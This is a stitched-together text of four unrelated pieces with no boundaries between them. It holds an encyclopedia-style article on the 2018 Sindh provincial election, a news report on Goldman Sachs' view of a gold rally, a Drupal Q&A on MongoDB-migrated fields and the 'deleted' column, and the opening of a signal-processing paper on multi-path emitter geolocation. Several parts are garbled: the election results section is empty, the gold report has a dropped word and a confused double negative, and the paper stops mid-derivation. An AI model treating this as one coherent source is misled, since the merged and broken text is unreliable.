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2018 Sindh provincial election Provincial elections were held in Sindh on 25 July 2018 to elect the members of the 13th Provincial Assembly of Sindh. Background Following the 2013 elections, despite a significant drop in vote share, the left-wing Pakistan Peoples Party remained the largest party in the assembly and held a comfortable majority with 91 seats. They were followed by the secularist, Muhajir-centric, Muttahida Qaumi Movement, which repeated its 2008 exploits, by securing 51 seats. New additions into the assembly included Pakistan Tehreek-e-Insaf, a welfarist, anti-establishment party led by former cricketer Imran Khan, who emerged as the second largest party in Karachi and gained 4 seats. Meanwhile, Pakistan Muslim League (F), PPP's perennial rival in Interior Sindh, held 11 seats. Following the elections for the slot of chief ministership, Pakistan Peoples Party was easily able to form a government in Sindh for the ninth time in its existence. Party veteran Qaim Ali Shah was elected in the role of provincial chief minister for the third time in his career, and remained at the position until 2016 when he stepped down and was replaced by Syed Murad Ali Shah. MQM Splits During this tenure, MQM ceased to exist as single party due to internal rifts in the wake of the party's leader, Altaf Hussain, giving a controversial speech in August, 2016. It split into MQM-Pakistan and MQM-London, the former in control of Farooq Sattar, while the latter managed by Hussain, who is in self-imposed exile in London since 1991. Meanwhile, Mustafa Kamal's nascent Pak Sarzameen Party chipped away at MQM-P members. Kamal himself being a former MQM stalwart and erstwhile Mayor of Karachi, who formed the PSP on 23 March 2016. Further still, in the lead up to 2018 Senate elections, the MQM-P faction saw another split - into Sattar's MQM-PIB and Aamir Khan's MQM-Bahadruabad. The reason for the split being grievances over the allotment of Senate tickets. Results election postponed at ps-94 after the death of MQM-P incumbent References Category:2018 elections in Pakistan 2018

Despite many claims to the contrary, North Korea tensions aren't actually what's driving the rally in gold, Goldman Sachs said in a Tuesday note. Instead, the bank said, uncertainty inspired by President Donald Trump has boosted the yellow metal — but that's set to fade. Spot gold has certainly rallied of late, climbing from levels under $1,212 an ounce in July to as high as $1,342.90 this week, touching its highest levels in around a year, according to Reuters data. Gold, which traditionally acts as a safe-haven play when investors turn nervous, was at $1,338.50 an ounce at 9:41 a.m. HK/SIN on Wednesday. Some of the metal's gains have coincided with increased tensions on the Korean Peninsula, including when North Korea claimed a successful hydrogen bomb test on Sunday. Goldman, however, didn't think the gold rally was unrelated to the North Korean tensions, just that it only explained around $15 of the more than $100 rally. "We find that the events in Washington over the past two months play a far larger role in the recent gold rally followed by a weaker ," it said, adding that's the reason the yellow metal likely wouldn't hold its gains. Barring a "substantial" escalation of North Korean tensions, Goldman said it was sticking with an end-of-year gold forecast of $1,250 an ounce.

Q: Mark deletion on custom fields I am using mongodb as the backend for the node_save functionality and I have migrated my custom fields. So for every node save it calls the hook_field_storage_write() . Thus the data is saved in the mysql and then calls the mongodb implementation. This hook inserts the document in mongodb and calls the mongodb_migrate_write_helper. In the function the migrated fields are set with the value of deleted column as 2. Thus if I have migrated a field 'field_email' from mysql to mongodb the mongodb_migrate_write_helper sets the field_email for the entity as deleted = 2. What does the deleted flag do? Are the rows marked as deleted = 2 deleted in a specific point of time or by some hook calls? . I have seen in many instances in the core modules where deleted is set as 1. Are there any purge scripts that are run at specific points of time for deletion of fields marked as deleted. function mongodb_migrate_write_helper($entity_type, $entity_id) { $migrate_fields = variable_get('mongodb_migrate_fields', array()); // Migrated field names are stored in variable. foreach ($migrate_fields as $field_name => $v) { $field = field_info_field($field_name); db_update(_field_sql_storage_tablename($field)) ->fields(array('deleted' => 2)) ->condition('entity_type', $entity_type) ->condition('entity_id', $entity_id) ->execute(); } } A: The deleted column in a field table is: A boolean indicating whether this data item has been deleted Therefore the only valid values are 0 and 1. Or, at least, 0 == false, and anything else is equivalent, and == true. You'd need to ask the module developers for their motivation to be 100% sure why they're bucking the trend there and using '2' instead, but maybe it's some sort of hack to exclude certain records from being queried with WHERE deleted = 1, but still available for WHERE deleted > 0. Not sure though, that's just a guess. As for what it does: it simply marks a record as deleted, so it won't be included in query results, and can be moved into a deleted data table, from which it's subsequently removed on cron runs.

1. Introduction {#sec1-sensors-18-00892} =============== We are interested in high precision positioning for shortwave signal sources in this paper. Two-step methods, such as the Angle Of Arrival (AOA) method, were usually used for shortwave signal positioning, and the methods provided a poor performance in a low Signal Noise Ratio (SNR) scenario. It has been shown that available prior knowledge on deterministic multi-path components can be beneficial for localization \[[@B1-sensors-18-00892]\]. Kietlinski-Zaleski Jan presented techniques to benefit from signal reflections from known indoor features such as walls \[[@B2-sensors-18-00892]\]. Inspired by those ideas, we propose a novel geolocation system architecture to locate the shortwave sources. This new architecture, termed "Multiple Transponders and Multiple Receivers for Multiple Emitters Positioning System (MTRE)", uses multiple transponders and receivers with known locations to locate multiple narrow band signals. The raw signals are transferred "in band" (i.e., as a man-made multi-path) by the transponders, and there is no need for a network infrastructure or an out-of-band channel bandwidth, which are required in an up/down converter system. In order to avoid the interference between the receiving and the sending signals of a transponder, we use different polarization modes to isolate the signals. In an MTRE system, man-made multiple paths from an emitter to a receiver are made to improve the positioning precisions and extending the positioning range. Multi-path propagation is a really important problem in outdoor and indoor positioning systems, and it is still the main source of estimation errors for range-based indoor localization approaches \[[@B3-sensors-18-00892],[@B4-sensors-18-00892]\]. The recent research in dealing with multi-path either tries to detect these situations statistically based on the received signals \[[@B5-sensors-18-00892],[@B6-sensors-18-00892]\] or to directly mitigate the corresponding errors with statistical techniques \[[@B7-sensors-18-00892],[@B8-sensors-18-00892]\]. Some algorithms for indoor localization make use of, e.g., the cooperation of multiple agents to overcome multi-path situations \[[@B9-sensors-18-00892]\]. Arrays were used for beam-forming to separate signals from different directions, and the multi-path positioning problem is simplified into a single path positioning problem \[[@B10-sensors-18-00892],[@B11-sensors-18-00892]\]. Furthermore, location fingerprinting, e.g., Received Signal Strength (RSS)-based methods, has been widely used in harsh environments \[[@B12-sensors-18-00892],[@B13-sensors-18-00892]\]. It makes use of a priori training signals in multiple regions of the environment to train a classification algorithm \[[@B14-sensors-18-00892]\]. However, the required training phase, as well as the missing flexibility w.r.t. changes in the environment may limit its application. Most of the above literature focused on the UWB signals and indoor positioning applications, and two-step approaches were adopted to locate the emitters. The very high bandwidth of the UWB signal translates into very good time resolution and makes the UWB signal resistant to multi-path. It is possible to extract parameters, e.g., RSS, Time Of Arrival (TOA), AOA, Time Difference Of Arrival (TDOA) and Frequency Difference Of Arrival (FDOA), from UWB signals in the presence of multi-path propagation and to locate the emitter based on those parameters \[[@B15-sensors-18-00892],[@B16-sensors-18-00892]\]. However, narrow-band systems have a low time resolution, and it is difficult to get the measurements in the first step. The Direct Position Determination (DPD) methods were proposed in \[[@B17-sensors-18-00892]\] for single narrow band signal positioning and in \[[@B18-sensors-18-00892]\] for multiple narrow band signal positioning. A DPD approach collects data at all sensors together and uses both the array responses and the Times Of Arrival (TOA) at each array, in contradiction with the two separate steps: parameter measuring and location determination. From the optimization theory point of view, two-step methods are sub-optimal, since the parameter estimation in the first phase is done independently, without considering the constraints that the measurements must correspond to the same source position. DPD methods overcame the problem of associating estimated parameters with their relevant sources and was shown to outperform two-step methods, especially in low SNR scenarios \[[@B19-sensors-18-00892]\]. There have been only a few attempts to improve the accuracy of emitter positioning in the presence of multi-path propagation under the DPD framework. Most of the existing DPD methods were developed for a single-path channel in which the multi-path was modeled as additive noise \[[@B20-sensors-18-00892]\]. In \[[@B20-sensors-18-00892]\], the single path DPD was tested with a channel with two paths scenario and showed improved performance over two-step methods. The DPD with small local scattering was studied in \[[@B21-sensors-18-00892],[@B22-sensors-18-00892]\]. In a scattering scenario, sensors were affected by a set of virtual emitters, which were placed randomly in close proximity to the real emitter. It was assumed that the positions of the virtual emitters were i.i.d, and each position forms a 3D Gaussian distribution. Odel Bialer and Dan Paphaeli and Anthony J. Weiss \[[@B23-sensors-18-00892],[@B24-sensors-18-00892]\] proposed a positioning algorithm for a dense multipath environment. Each received signal was obtained by convolving the transmitted pulse with a channel impulse response, and only the first arrival cluster (the direct path) was taken into consideration in their work. The signals reflected from other objects were not modeled in their work. Papakonstantinou and Slock \[[@B25-sensors-18-00892],[@B26-sensors-18-00892]\] considered a simplified single-bounce multipath model. The model assumed that the transmitted signal did not bounce over more than one scatter. They jointly estimated the position of the target and scatters. They studied the single emitter positioning problem in the presence of multi-path propagation and assumed that the waveform of signal and path attenuations were known in advance. Miljko and Vucic \[[@B27-sensors-18-00892]\] proposed a novel direct geolocation of an Ultra WideBand (UWB) source in the presence of multi-path using the MUltiple SIgnal Classification (MUSIC) method and focusing matrices. Only one emitter was taken into consideration, and the path attenuations are known in advance in their work. Bar-Shalom et al. \[[@B28-sensors-18-00892],[@B29-sensors-18-00892]\] proposed a transponder-added Single Platform Geolocation (SPG) model. A single emitter and single receiver were assumed in the SPG model. They stated that the SPG model achieved a similar performance to the multiple-RX DPD algorithm. The multiple-RX DPD algorithm mentioned in their works assumed that the transponders were replaced by the receivers directly. In a weak signal location application, a single receiver cannot receive signals from all transponders stably. Some paths may be blocked or disrupted. Multiple emitters, multiple transponders and multiple receivers need to be taken into consideration in a weak signal positioning application. All unknown parameters should be estimated together in a DPD model, and this leads to a large-scale parameter searching. MUSIC methods calculate the spatial spectrum of each candidate position rather than the combinations of all emitter positions. Amar et al. \[[@B30-sensors-18-00892]\] studied that multiple known and unknown radio-frequency signals under the LoS (Line of Sight) channel assumption. A simplified MUSIC algorithm was adopted to avoid the large-scale parameter searching. The cost function in \[[@B30-sensors-18-00892]\] maximized the projection of the array manifold onto the signal subspace rather than minimizing the projection onto the noise subspace. The simplified cost function took advantage of the maximization of the convex Quadratic Programming (QP) with linear constraints, and the eigenvalue structure was adopted to avoid the searching of path attenuation parameters in their work. The simplified MUSIC worked well in an LoS propagation context, but it had a poor performance in a multi-path propagation scenario due to the singularity of the array manifold. Minimizing the projection of the array manifold onto the noise subspace overcomes the shortcomings of a signal subspace projection method. However, the eigenvalue system fails to resolve the minimization programming. Existing DPD methods mainly focus on narrow-band signal positioning \[[@B18-sensors-18-00892],[@B29-sensors-18-00892],[@B31-sensors-18-00892],[@B32-sensors-18-00892],[@B33-sensors-18-00892]\] and usually assume that the carrier phase does not carry the propagation delay information. Complex channel attenuations were estimated to eliminate the influence of carrier phase misalignment in a narrow-band signal positioning method. We point out that the narrow-band assumption will lose the phase information in an LoS positioning application, and it will not be able to locate emitters at all in a multi-path positioning application. We add constraints that path attenuations are nonnegative real numbers in our model. In an existing DPD model, path attenuations are complex numbers and have only one equation constraint (the norm of path attenuations is one), and the Lagrange-multiplier method is very effective at solving the optimization with equation constraints \[[@B34-sensors-18-00892]\]. However, it is difficult to solve an optimization with inequality constraints (the path attenuations should be greater than zero). We are required to design an efficient algorithm to solve the QP with inequality constraints. The performance of a MUSIC method is determined by the precision of the covariance matrix estimation. In a time-sensitive application, the number of snapshots is not enough, and it is difficult to estimate the covariance matrix precisely. The maximum likelihood method maximizes the likelihood function of the received data rather than estimating the covariance matrix, and it achieves a better performance than that of the MUSIC method. However, the dimension of the searching space turns out to be unacceptable in the maximum likelihood method. Our motivation is to develop a simple and accurate positioning model and corresponding algorithms for the case of unknown waveform signals and multi-path environment. We establish a Multi-path Propagation (MP)-DPD model for the scenario of multiple emitters, multiple transponders and multiple receiving arrays. It can be viewed as a modified and extended version of the SPG model proposed in \[[@B29-sensors-18-00892]\]. The MP-DPD reduces the risk of paths being blocked or disrupted and fixes the constraints on path attenuations. Multiple emitters can be simultaneously positioned in the MP-DPD model, as well. MP-MUSIC and MP-ML methods are proposed to reduce the time consumption of the optimization. The numerical results and the Cramér--Rao Lower Bound (CRLB) analysis show that the MP-MUSIC method has a lower computing complexity than MP-ML, especially in the case of a complex multipath scenario. The MP-ML method is more precise than MP-MUSIC, especially in the case of positioning with limited snapshots. An Active Set Algorithm (ASA) for the MP-MUSIC and an iterative algorithm for the MP-ML are developed to reduce the computational complexity of the methods further. Numerical results demonstrate that the MP-MUSIC and MP-ML proposed in this paper outperform the conventional methods. The paper is organized as follows: [Section 2](#sec2-sensors-18-00892){ref-type="sec"} outlines the problem formulation, and an MP-DPD model is established in this section. The MP-MUSIC method, the MP-ML method and corresponding algorithms are proposed in [Section 3](#sec3-sensors-18-00892){ref-type="sec"} and [Section 4](#sec4-sensors-18-00892){ref-type="sec"}, Numerical performance examples of these algorithms are given in [Section 5](#sec5-sensors-18-00892){ref-type="sec"}. The final conclusions are given in [Section 6](#sec6-sensors-18-00892){ref-type="sec"}. Finally, the detailed descriptions of the ASA algorithm, the iterative algorithm for MP-ML method and the derivation of the CRLB are provided in the Appendix. 2. Problem Formulation {#sec2-sensors-18-00892} ====================== Consider that there are *D* emitters located at $\mathbf{p}_{e} = {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T}$ and *L* passive transponders placed at $\mathbf{p}_{t} = {\lbrack\mathbf{p}_{t}^{T}\left( 1 \right),\mathbf{p}_{t}^{T}\left( 2 \right),\ldots,\mathbf{p}_{t}^{T}\left( L \right)\rbrack}^{T}$. The signals transmitted by the emitters are reflected by the transponders and intercepted by *N* receiving arrays. Each array includes *M* antennas. The centers of the arrays are located at $\mathbf{p}_{r} = {\lbrack\mathbf{p}_{r}^{T}\left( 1 \right),\mathbf{p}_{r}^{T}\left( 2 \right),\ldots,\mathbf{p}_{r}^{T}\left( N \right)\rbrack}^{T}$. It is assumed that the locations of the transponders and the receiving arrays are known a priori and that the signal waveforms are unknown. The scenario is depicted in [Figure 1](#sensors-18-00892-f001){ref-type="fig"}. Denote the signal propagation delay between the *d*-th emitter and the *ℓ*-th transponder by ${\overline{\tau}}_{d\ell}$. Denote:$${\widetilde{\mathbf{\tau}}}_{\ell n} = {\lbrack{\widetilde{\tau}}_{\ell n1},{\widetilde{\tau}}_{\ell n1},\ldots,{\widetilde{\tau}}_{\ell nM}\rbrack}^{T},$$ where ${\widetilde{\tau}}_{\ell nm}$ is the propagation delay between the *ℓ*-th transponder and the *m*-th antenna in the *n*-th receiving array. ${\widetilde{\mathbf{\tau}}}_{\ell n}$ is an $M \times 1$ column vector, which represents the propagation delays from the *ℓ*-th transponder to the *n*-th receiving array. ${\widetilde{\mathbf{\tau}}}_{\ell n}$ is known in advance, and it is independent of the emitter positions. The path attenuation from the *d*-th emitter to the *n*-th receiving array, which is reflected by the *ℓ*-th transponder, is denoted by $\alpha_{d\ell n}$. The path attenuation coefficients are assumed as non-negative real numbers, and the rationality of the assumption will be discussed in detail in [Section 3.1.2](#sec3dot1dot2-sensors-18-00892){ref-type="sec"}. We assume that the antennas in a receiving array are uniform, and all antennas in an array share the same path attenuation coefficient. The time-domain model of the signals that are received by the *n*-th receiving array is:$${\overline{\mathbf{r}}}_{n}\left( t \right) = \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}{\lbrack\alpha_{d\ell n}{\overline{\mathbf{s}}}_{d}\left( t - {\widetilde{\mathbf{\tau}}}_{\ell n} - {\overline{\tau}}_{d\ell} - t_{d} \right)\rbrack} + \overline{\mathbf{n}}\left( t \right),$$ where ${\overline{\mathbf{r}}}_{n}\left( t \right)$ is an $M \times 1$ column vector, which represents *M* snapshots at time *t* of the *n*-th receiving array. ${\overline{\mathbf{s}}}_{d}\left( \mathbf{t} \right)$ is an $M \times 1$ column vector, which represents *M* snapshots of the *d*-th source signal at time vector $\mathbf{t} \triangleq t - {\widetilde{\mathbf{\tau}}}_{\ell n} - {\overline{\tau}}_{d\ell} - t_{d}$. $\overline{\mathbf{n}}\left( t \right)$ is an $M \times 1$ noise vector at time *t*. $0 \leq t \leq T$, and $t_{d}$ is the unknown transmit time of the emitter *d*. We assume that the path attenuation, $\alpha_{d\ell n}$, remains constant during the observation time interval. This paper mainly focuses on the positioning of deterministic, but unknown signals. It is assumed that source signals are independent of one another, and there is no further requirement for the code or waveform of the signals. The frequency-domain model for the *k*-th DFT coefficients is given by:$$\mathbf{r}_{n}\left( k \right) = \sum\limits_{\ell = 1}^{L}\sum\limits_{d = 1}^{D}\alpha_{d\ell n}{\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)e^{- i\omega_{k}{\overline{\tau}}_{d\ell}}s_{d}\left( k \right) + \mathbf{n}\left( k \right),$$ where:$$\begin{aligned} {{\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)} & {= e^{- i\omega_{k}{\widetilde{\mathbf{\tau}}}_{\ell n}},} \\ {{\check{s}}_{d}\left( k \right)} & {= s_{d}\left( k \right)e^{- i\omega_{k}t_{d}},} \\ \omega_{k} & {= \frac{2\pi k}{T},} \\ k & {= 1,2,\cdots,K,} \\ \end{aligned}$$ where $s_{d}\left( k \right)$ is the *k*-th Fourier coefficient of the *d*-th source signal ${\overline{s}}_{d}\left( t \right),t \in {\lbrack 0,T\rbrack}$. $\mathbf{r}_{n}\left( k \right)$ and $\mathbf{n}\left( k \right)$ are $M \times 1$ vectors of the *k*-th Fourier coefficients of ${\overline{\mathbf{r}}}_{n}\left( t \right)$ and $\overline{\mathbf{n}}\left( t \right)$. ${\widetilde{\mathbf{a}}}_{\ell n}\left( k \right)$ is an $M \times 1$ vector, which denotes the generalized array response of the *n*-th receiver at frequency $\omega_{k}$. Make ([3](#FD3-sensors-18-00892){ref-type="disp-formula"}) into matrix form:$$\mathbf{r}\left( k \right) = \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right) + \mathbf{n}\left( k \right),$$ where:$$\begin{aligned} {\mathbf{r}\left( k \right)} & {\triangleq {\lbrack\mathbf{r}_{1}^{T}\left( k \right),\mathbf{r}_{2}^{T}\left( k \right),\ldots,\mathbf{r}_{N}^{T}\left( k \right)\rbrack}^{T},} \\ {\mathbf{r}_{n}^{T}\left( k \right)} & {= {\lbrack\mathbf{r}_{n1}^{T}\left( k \right),\mathbf{r}_{n2}^{T}\left( k \right),\ldots,\mathbf{r}_{nM}^{T}\left( k \right)\rbrack}^{T},} \\ {\mathbf{A}\left( k \right)} & {\triangleq \widetilde{\mathbf{A}}\left( k \right)\mathbf{V}\left( k \right)\mathbf{\alpha},} \\ {\widetilde{\mathbf{A}}\left( k \right)} & {= \begin{bmatrix} {{\widetilde{\mathbf{A}}}_{1}\left( k \right)} & 0 & \cdots & 0 \\ 0 & {{\widetilde{\mathbf{A}}}_{2}\left( k \right)} & \cdots & 0 \\ \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & {{\widetilde{\mathbf{A}}}_{N}\left( k \right)} \\ \end{bmatrix},} \\ {{\widetilde{\mathbf{A}}}_{n}\left( k \right)} & {= \lbrack{\widetilde{\mathbf{a}}}_{1n}\left( k \right),{\widetilde{\mathbf{a}}}_{2n}\left( k \right),\ldots,{\widetilde{\mathbf{a}}}_{Ln}\left( k \right)\rbrack,} \\ \end{aligned}$$ $$\begin{aligned} {\mathbf{V}\left( k \right)} & {= \mathbf{I}_{N} \otimes \overline{\mathbf{V}}\left( k \right),} \\ {\overline{\mathbf{V}}\left( k \right)} & {= \lbrack{\overline{\mathbf{V}}}_{1}\left( k \right),{\overline{\mathbf{V}}}_{2}\left( k \right),\ldots,{\overline{\mathbf{V}}}_{D}\left( k \right)\rbrack,} \\ {{\overline{\mathbf{V}}}_{d}\left( k \right)} & {= {diag}\left( {\lbrack e^{- i\omega_{k}{\overline{\tau}}_{d1}},e^{- i\omega_{k}{\overline{\tau}}_{d2}},\ldots,e^{- i\omega_{k}{\overline{\tau}}_{dL}}\rbrack} \right),} \\ \mathbf{\alpha} & {= \begin{bmatrix} \mathbf{\alpha}_{1} \\ \mathbf{\alpha}_{2} \\ \vdots \\ \mathbf{\alpha}_{N} \\ \end{bmatrix},} \\ \mathbf{\alpha}_{n} & {= \begin{bmatrix} \mathbf{\alpha}_{1n} & 0 & \cdots & 0 \\ 0 & \mathbf{\alpha}_{2n} & \cdots & 0 \\ \vdots & \vdots & \ddots & \vdots \\ 0 & 0 & \cdots & \mathbf{\alpha}_{Dn} \\ \end{bmatrix},} \\ \mathbf{\alpha}_{dn} & {= {\lbrack\alpha_{d1n},\alpha_{d2n},\ldots,\alpha_{dLn}\rbrack}^{T},} \\ {\check{\mathbf{s}}\left( k \right)} & {\triangleq {\lbrack{\check{s}}_{1}\left( k \right),{\check{s}}_{2}\left( k \right),\ldots,{\check{s}}_{D}\left( k \right)\rbrack}^{T}.} \\ \end{aligned}$$ where ⊗ is the Kronecker product and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$. Denote the second moments of variables by:$$\begin{aligned} {\mspace{-1080mu} E\{\mathbf{n}\left( k \right)\mathbf{n}^{H}\left( k \right)\}} & {= \sigma^{2}\mathbf{I}_{MN} \triangleq \Sigma,} \\ {E\{\mathbf{n}\left( k \right)\mathbf{n}\left( k \right)^{T}\}} & {= 0,} \\ \end{aligned}$$$$\begin{aligned} {\mathbf{R}\left( k \right)} & {\triangleq E{\{\mathbf{r}\left( k \right)\mathbf{r}^{H}\left( k \right)\}} = \mathbf{A}\left( k \right)\mathsf{\Lambda}\left( k \right)\mathbf{A}^{H}\left( k \right) + \Sigma,} \\ \end{aligned}$$$$\begin{aligned} {\mathsf{\Lambda}\left( k \right)} & {\triangleq E\{\check{\mathbf{s}}\left( k \right){\check{\mathbf{s}}}^{H}\left( k \right)\},} \\ \end{aligned}$$ where $\mathbf{I}_{MN}$ is an identity matrix with a size of $MN \times MN$. $\mathbf{R}\left( k \right)$ is a covariance matrix of received signals at frequency $\omega_{k}$. $\sigma$ is the noise standard deviation. The observed signal of each antenna $\overline{\mathbf{r}}\left( t \right)$ is partitioned into *J* sections, and each section is Fourier transformed. The *k*-th Fourier coefficient of the *j*-th section is denoted by $\mathbf{r}_{j}\left( k \right)$. The covariance matrix at frequency $\omega_{k}$ is estimated by:$$\begin{aligned} {\hat{\mathbf{R}}\left( k \right)} & {= \frac{1}{J}\sum\limits_{j = 1}^{J}{\mathbf{r}_{j}\left( k \right)\mathbf{r}_{j}^{H}\left( k \right)}.} \\ \end{aligned}$$ The relationship between the received signals and emitter positions has been established in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}), and it is named the MP-DPD model. The MP-DPD model optimizes the emitter positions directly to achieve a more accurate estimation. Two DPD methods are proposed under the MP-DPD framework:MP-MUSIC method;MP-ML method. The array manifold projection onto the noise subspace is adopted as the cost function in the MP-MUSIC method, and the likelihood function of the received signals is adopted in the MP-ML method. If the number of snapshots is sufficient, MP-MUSIC consumes less time than MP-ML without degrading the performance. Besides, if the number of snapshots is not enough, MP-ML obtains more precise position estimations than MP-MUSIC. 3. MP-MUSIC Method {#sec3-sensors-18-00892} ================== We analyze the shortcomings of the existing MUSIC method in the multi-path propagation positioning firstly and establish an MP-MUSIC model that is suitable for the multi-path environment positioning. Finally, the corresponding algorithm is given at the end of this section. 3.1. The Limitation of Existing MUSIC Methods {#sec3dot1-sensors-18-00892} --------------------------------------------- We introduce the Signal Subspace Projection MUSIC (SSP-MUSIC) method, which was commonly used in the DPD model firstly, and develop a Noise Subspace Projection MUSIC (NSP-MUSIC) method to overcome the shortage of SSP-MUSIC. Finally, we discuss the performances of SSP-MUSIC and NSP-MUSIC, which were adopted in a multi-path positioning application. ### 3.1.1. SSP-MUSIC {#sec3dot1dot1-sensors-18-00892} Alan Amar and Anthony J. Weiss studied the positioning problem of multiple unknown radio-frequency signals in \[[@B30-sensors-18-00892]\]. The MUSIC method for the LoS propagation positioning was proposed in their works. Alan Amar maximized the manifold projection onto the signal subspace rather than minimizing the projection onto the noise subspace. The programming model of Amar's method was defined as:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max F\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{D}\left( \mathbf{p}_{e} \right)\mathbf{\alpha},$$ $$s.t.\left\{ \begin{array}{l} {{\parallel \mathbf{\alpha} \parallel}_{F}^{2} = 1,} \\ {\mathbf{\alpha} \in \mathbb{C}^{ND},} \\ \end{array} \right.$$ where: $$\begin{aligned} {\mathbf{D}\left( \mathbf{p}_{e} \right)} & {\triangleq \mathbf{H}^{H}\left\lbrack {\sum\limits_{k = 1}^{K}\Gamma^{H}\left( k \right)\mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)\Gamma\left( k \right)} \right\rbrack\mathbf{H},} \\ \end{aligned}$$$$\begin{aligned} \mathbf{H} & {\triangleq \mathbf{I}_{N} \otimes 1_{M},} \\ \end{aligned}$$ where $\mathbf{\alpha}$ is the path attenuation vector, $\mathbb{C}^{ND}$ is the set of complex column vectors with the length of $ND$, ${\parallel \cdot \parallel}_{F}$ is the Frobenius norm of a matrix, $\mathbf{p}_{e}$ is the vector of emitter positions, $\mathbf{I}_{N}$ stands for the $N \times N$ identity matrix, $1_{M}$ stands for an $M \times 1$ column vector of ones, *M* stands for the number of antennas of each array, $\Gamma\left( k \right)$ is the array manifold matrix at frequency $\omega_{k}$, *N* is the number of receivers, *D* is the number of emitters, *K* is the frequency points of received signals and $\mathbf{U}_{s}\left( k \right)$ is made up of the eigenvectors of the covariance matrix of received signals corresponding to the *D* largest eigenvalues. The other parameter notations can be found in \[[@B30-sensors-18-00892]\]. Since ([10](#FD10-sensors-18-00892){ref-type="disp-formula"}) is a quadratic convex optimization with linear constraints in the complex field, the maximum of the cost function is the maximal eigenvalue of the matrix $\mathbf{D}\left( \mathbf{p}_{e} \right)$\[[@B31-sensors-18-00892]\]; thus, the optimal cost function value is $F^{*}\left( \mathbf{p}_{e} \right) = \lambda_{\max}{\{\mathbf{D}\left( \mathbf{p}_{e} \right)\}}$, where $\lambda_{\max}{\{ \cdot \}}$ represents the maximal eigenvalue of a matrix. Benefiting from the simplified cost function and the eigenvalue system, Amar's method reduced the searching dimension from $2DK + 2\left( N - 1 \right)D + 3$ to three. ### 3.1.2. NSP-MUSIC {#sec3dot1dot2-sensors-18-00892} A noise subspace projection MUSIC method is proposed in this paper to remove the simplification of the SSP-MUSIC. NSP-MUSIC minimizes the manifold projection onto the noise subspace:$${\lbrack\hat{\mathbf{p}_{e}},\hat{\mathbf{\alpha}}\rbrack} = \arg\min\overline{F}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \mathbf{\alpha}^{H}\mathbf{H}^{H}\sum\limits_{k = 1}^{K}\left\{ {\Gamma^{H}\left( k \right)\left\lbrack {\mathbf{I} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\Gamma\left( k \right)} \right\}\mathbf{H}\mathbf{\alpha}.$$ Reorganize the items in ([14](#FD14-sensors-18-00892){ref-type="disp-formula"}):$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max\widetilde{F}\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p}_{e} \right)\mathbf{\alpha} - \mathbf{\alpha}^{H}\mathbf{D}\left( \mathbf{p}_{e} \right)\mathbf{\alpha}},$$ where:$$\mathbf{I}\left( \mathbf{p}_{e} \right) \triangleq \mathbf{H}^{H}\left\lbrack {\sum\limits_{k}^{K}\Gamma^{H}\left( k \right)\Gamma\left( k \right)} \right\rbrack\mathbf{H},$$ and $\mathbf{D}\left( \mathbf{p}_{e} \right)$ has been defined in ([12](#FD12-sensors-18-00892){ref-type="disp-formula"}). SSP-MUSIC is viewed as a simplified version of ([15](#FD15-sensors-18-00892){ref-type="disp-formula"}). In a direction finding application, it is assumed that the path attenuation of each antenna in an array has been normalized in advance, and $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ is a known constant item. The dropping of the constant item in an optimization is reasonable. However, in a multi-path positioning application, $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ changes with the change of $\mathbf{\alpha}$, and the dropping of $\mathbf{\alpha}^{H}\mathbf{I}\left( \mathbf{p} \right)\mathbf{\alpha}$ is unreasonable. Following the standard noise subspace MUSIC method and the model for the multi-path positioning, we define the cost function of NSP-MUSIC:$${\lbrack{\hat{\mathbf{p}}}_{e},\hat{\mathbf{\alpha}}\rbrack} = \arg\max Q\left( \mathbf{p}_{e},\mathbf{\alpha} \right) = \frac{1}{\sum_{k = 1}^{K}{\mathbf{a}^{H}\left( k \right)\left\lbrack {\mathbf{I}_{MN} - \mathbf{U}_{s}\left( k \right)\mathbf{U}_{s}^{H}\left( k \right)} \right\rbrack\mathbf{a}\left( k \right)}},$$ where $\mathbf{I}_{MN}$ is an identity matrix with a size of $MN \times MN$. $\mathbf{U}_{s}\left( k \right)$ is a matrix consisting of the eigenvectors of $\mathbf{R}_{k}$ corresponding to the *D* largest eigenvalues. $\mathbf{p}_{e}$ and $\mathbf{\alpha}$ are decision making variable vectors representing the candidate emitter positions and the corresponding path attenuations. In order to facilitate a unique solution, we assume that the norm of $\mathbf{\alpha}$ is one. $\mathbf{a}\left( k \right)$ is the array manifold vector for $\mathbf{p}_{e}$ at frequency $\omega_{k}$. Unfortunately, the cost function requires an $LN - 1 + 3$ dimensional searching, and it is difficult to get the optimal solution over such a high dimensional space. Note that the *d*-th column of matrix $\mathbf{A}\left( k \right)$ in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}) is denoted by:$$\mathbf{a}_{d}\left( k \right) = \widetilde{\mathbf{A}}\left( k \right){\lbrack\mathbf{I}_{N} \otimes {\overline{\mathbf{V}}}_{d}\left( k \right)\rbrack}\mathbf{\alpha}_{d} \triangleq \Gamma_{d}\left( k \right)\mathbf{\alpha}_{d},$$ where $\mathbf{\alpha}_{d} \triangleq {\lbrack\mathbf{\alpha}_{d1}^{T},\mathbf{\alpha}_{d2}^{T},\ldots,\mathbf{\alpha}_{dN}^{T}\rbrack}^{T}$ represent attenuations of paths from the *d*-th emitter. 